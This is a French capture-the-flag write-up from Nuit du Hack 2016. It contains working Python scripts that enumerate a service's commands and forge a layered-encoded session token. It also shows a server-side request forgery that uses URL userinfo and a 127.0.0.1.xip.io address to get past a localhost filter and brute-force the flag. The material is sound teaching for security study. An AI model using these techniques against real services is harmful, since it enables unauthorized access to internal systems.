Write-Up : Todo Rename The Service Name (300 points)

Filtrer par catégorie :

06 Juillet 2016 by Peter Stiehl
Peter Stiehl

Ce challenge a été créé pour l'événement de la Nuit Du Hack 2016 dans le cadre du wargame public et n'a pas été résolu. Ce write-up a été écrit par le créateur de l'épreuve.

 

Topic

We need to retrieve the flag from this fucking useless service! We really need it, it's so important for our lifes to get this flag!

All we have is a draft of the documentation: Useless service 2.x # todo add good version # rename the name as it has an URL monitoring service for http://2015.nuitduhack.com Implemented fuctions: help... # todo add the full name of the help function # todo add all functions here even if available trough the help... function # todo2 add the full name to the help function in the todo # todo remove the local web server hosting flag.txt which is available through http://127.0.0.1 # todo2 add the description of the content of flag.txt which is : flag::[a-z0-9]{12} # todo3 remove the description of the content of flag.txt if the local web server hosting flag.txt is removed # todo4 remove the todos about the local web server as it leaks information about the flag.txt file # todo specify that the flag example is a regex like thing and not the real flag # todo change the port to something

Flag format : ndh2k16_THEFLAG

todo.wargame.ndh

Introduction

Le but de cette épreuve est d'arriver à détourner un service de supervision d'URL afin de récupérer le fichier flag.txt qui est situé sur un serveur web écoutant sur 127.0.0.1.
 

Exploitation

N'ayant aucune information supplémentaire sur l'accessibilité du service, autre que son nom de domaine, afin de démarrer l'épreuve, la première étape et d'effectuer un scan de tous les ports de la cible. Le port 8000/TCP est accessible et lors d'une connexion le message suivant est envoyé:

# todo add a welcome message here

Dans l'énoncé est stipulé qu'une fonction d'aide nommée help... existe mais sans divulguer la suite du nom. Le comportement suivant est remarqué en jouant un peu avec le nom de la fonction:

help
Ambigous command.
hel
Ambigous command.
helo
Command not found.
he
Ambigous command.

Dès lors que le début de la chaine de caractère est valide et correspond à une partie d'une fonction la réponse du serveur est Ambigous command. et si ce n'est pas le cas Command not found..

Le code suivant est alors utilisé pour énumérer les fonctions:

import socket
import string
import time
import sys

if len(sys.argv) != 2:
    print 'usage: python %s ip' % (sys.argv[0])
    exit()

ip = sys.argv[1]

def getFunctions(rest, poc_socket):
    for letter in string.ascii_lowercase + string.ascii_uppercase:
        poc_socket.send('%s%s\n' % (rest, letter))
        resp = poc_socket.recv(1024)
        if 'Command not' in resp:
            pass
        elif 'Ambigous command' in resp:
            getFunctions(rest + letter, poc_socket)
        else:
            print ' - Function found %s, response is :\n   %s' % (rest + letter,resp)
            time.sleep(1)

poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
print '\n[+] Enumerating functions :'
getFunctions('', poc_socket)

En exécutant ce script, les fonctions suivantes ont été trouvées:

[+] Enumerating functions :
 - Function found createAccount, response is :
   Arguments should be : login password

 - Function found createMonitor, response is :
   Arguments should be : session path tomatch

 - Function found getMatch, response is :
   Arguments should be : session

 - Function found helpPLZ, response is :
   createAccount [username] [password] : create a new account
logMeIn [username] [password] : get your session
test : just a test function
createMonitor [session] [path] [tomatch] : create an URL monitor (every 20 seconds, one per account, begin of string is "http://2015.nuitduhack.com" you add the path) and match a string in the response body
getMatch [session] : check if monitor matched something
helpPLZ : this function

 - Function found logMeIn, response is :
   Arguments should be : login password

 - Function found test, response is :
   CRAZY TEST FUNCTION

Toutes les fonctionnalités accessibles sur le service ont été énumérées. Tout d'abord, un compte va être créé en utilisant createAccount:

createAccount ds ds
Account has been created

La session est récupérée en s'authentifiant avec logMeIn:

logMeIn ds ds
4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5

Une tentative de créer un moniteur au travers de createMonitor est réalisée:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5 /en/ nuitduhack
Not allowed

Un élément a l'air de manquer afin d'avoir les droits d'utiliser cette fonction. Un deuxième compte est créé pour comparer les sessions:

createAccount ds2 ds2
Account has been created
logMeIn ds2 ds2
bd10b2dc-d4c2-4007-8930-de8e7ac7fcc3:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5

La deuxième partie de la session est identique. Cette partie a l'air d'être encodée en base32, celui-ci est facilement reconnaissable par rapport au jeu de caractères utilisé (alpha majuscule, chiffre et le caractère =).

$ echo 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5' | base32 -d
LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==

La partie suivante certainement du base64:

$ echo 'LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==' | base64 -d
-. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.

Cette partie ressemble à du morse. La librairie python hackercodecs est utilisée pour décoder:

import hackercodecs

print '-. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.'.decode('morse')

Le résultat donné NYYBJRQ=SNYFR est, pour finir en beauté, du rot13:

$ rot13 'NYYBJRQ=SNYFR'
ALLOWED=FALSE 

Il n'y a plus qu'à créer l'encodage à partir de la chaine de caractère ALLOWED=TRUE et de tenter de créer un moniteur à nouveau:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== /en/ nuitduhack
Allowed

Puis la fonction getMatch est utilisée pour vérifier si cela a fonctionné:

getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on nuitduhack

La requête a donc bien été réalisée.

La requête est réalisée sur http://2015.nuitduhack.com et le reste de l'adresse peut être modifié lors de la création du moniteur. Il est possible de créer une adresse de telle manière à envoyer des identifiants au travers de celle-ci, par exemple http://login:password@site.com/. Si la page :@perdu.com/ est demandée l'adresse sera crée sur le moniteur de telle manière à ce que ça devient http://2015.nuitduhack.com:@perdu.com/:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@perdu.com/ Perdu
Allowed
getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on Perdu

Il a été possible de vérifier que la réponse contenait le mot Perdu sur le site http://perdu.com. Il ne reste plus qu'à tenter la même chose, sur http://127.0.0.1 et de chercher la chaine de caractère flag:: comme indiqué dans l'énoncé:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1/ flag::         
Allowed
IDS WAF was triggered! Did you try something funny?

Il n'est pas autorisé d'accéder à l'interface réseau local. Néanmoins, les noms de domaine sont autorisés. Il existe des services comme xip.io qui permettent de résoudre une adresse IP locale ou d'un réseau privé en utilisant, par exemple, l'adresse 127.0.0.1.xip.io:

$ host '127.0.0.1.xip.io'
127.0.0.1.xip.io has address 127.0.0.1

Cette adresse peut alors être utilisée pour créer un moniteur :

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1.xip.io/flag.txt flag::
Allowed
getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on flag::

Il ne reste plus qu'à scripter afin de créer automatiquement des moniteurs et de tester caractère par caractère et en cas de succès tester le prochain caractère. L'énoncé donne le format du flag flag::[a-z0-9]{12}. Le script suivant est utilisé pour récupérer celui-ci

import socket
import string
import time
import sys

if len(sys.argv) != 2:
    print 'usage: python %s ip' % (sys.argv[0])
    exit()

ip = sys.argv[1]

def getSession(poc_socket):
    poc_socket.send('logMeIn ds ds\n')
    resp = poc_socket.recv(1024)
    return resp.strip()

def createMonitor(poc_socket, session, to_add):
    global to_match
    poc_socket.send('createMonitor %s :@127.0.0.1.xip.io/flag.txt %s\n' % (session, to_match + to_add))
    resp = poc_socket.recv(1024)
    return(resp)

def getMatch(poc_socket, session):
    poc_socket.send('getMatch %s\n' % session)
    resp = poc_socket.recv(1024)
    return(resp)

def magic(poc_socket, session):
    global to_match
    charset = string.ascii_lowercase + string.digits
    max_len = 12
    sys.stdout.write(' [+] Searching for characters : flag::')
    sys.stdout.flush()
    for actual_len in range(max_len):
        for to_add in charset:
            sys.stdout.write(to_add)
            sys.stdout.flush()            
            createMonitor(poc_socket, session, to_add)
            time.sleep(22)
            if ' OK ' in getMatch(poc_socket, session).strip():
                to_match += to_add
                sys.stdout.write('\b')
                sys.stdout.write(to_add)
                sys.stdout.flush()
                break
            sys.stdout.write('\b')
    print '\n\n[+] All done !'

#allowed=true -> morse -> base64 -> base32
allowed_string = 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q===='
to_match = 'flag::'
poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
#Get service message
poc_socket.recv(1024)
print '\n[+] Getting session'
session = getSession(poc_socket).split(':')[0] + ':' + allowed_string
print session
time.sleep(1)
print '\n[+] Creating initial monitor'
print createMonitor(poc_socket, session, '')
time.sleep(1)
print '\n[+] Sleeping to let the monitor trigger'
for i in range(22):
    sys.stdout.write('.')
    sys.stdout.flush()
    time.sleep(1)
print '\n\n[+] Checking initial response'
print(getMatch(poc_socket, session))
print '\n[+] Doing the magic, will take time...'
magic(poc_socket, session)
poc_socket.close()

Et le résultat de l'exécution avec la récupération du flag:

[+] Getting session
4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
[+] Creating initial monitor
Allowed
[+] Sleeping to let the monitor trigger
......................
[+] Checking initial response
Allowed
Match OK on flag::
[+] Doing the magic, will take time...
 [+] Searching for characters : flag::3dq2yto9sppx
[+] All done !